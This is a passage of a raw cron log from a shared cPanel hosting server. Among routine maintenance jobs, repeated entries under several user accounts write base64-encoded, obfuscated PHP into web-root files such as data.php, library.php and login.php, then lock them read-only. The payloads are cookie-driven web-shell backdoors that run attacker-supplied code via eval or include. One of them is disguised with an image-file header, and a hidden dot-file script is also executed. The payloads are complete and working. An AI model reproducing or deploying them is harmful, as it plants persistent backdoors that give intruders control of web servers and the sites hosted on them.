bMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:09:01 medusa CROND[28791]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:09:01 medusa CROND[28792]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:09:01 medusa CROND[28793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:09:01 medusa CROND[28794]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:10:01 medusa CROND[30566]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:10:01 medusa CROND[30584]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:10:01 medusa CROND[30588]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 08:10:01 medusa CROND[30587]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:10:01 medusa CROND[30589]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:10:01 medusa CROND[30591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:10:01 medusa CROND[30593]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:10:01 medusa CROND[30595]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:10:01 medusa CROND[30592]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 08:10:01 medusa CROND[30598]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 08:10:01 medusa CROND[30599]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 08:10:01 medusa CROND[30600]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:10:01 medusa CROND[30601]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 08:10:01 medusa CROND[30603]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 08:10:01 medusa CROND[30594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:10:01 medusa CROND[30602]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:10:01 medusa CROND[30596]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:10:01 medusa CROND[30610]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:10:01 medusa CROND[30611]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:10:01 medusa CROND[30614]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:10:01 medusa CROND[30615]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:10:01 medusa CROND[30616]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:10:01 medusa CROND[30618]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:10:01 medusa CROND[30605]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 08:10:01 medusa CROND[30619]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:10:01 medusa CROND[30624]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:10:01 medusa CROND[30625]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:10:01 medusa CROND[30613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:11:01 medusa CROND[1791]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:11:01 medusa CROND[1792]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:11:01 medusa CROND[1793]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:11:01 medusa CROND[1794]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:11:01 medusa CROND[1795]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:11:01 medusa CROND[1800]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:11:01 medusa CROND[1801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
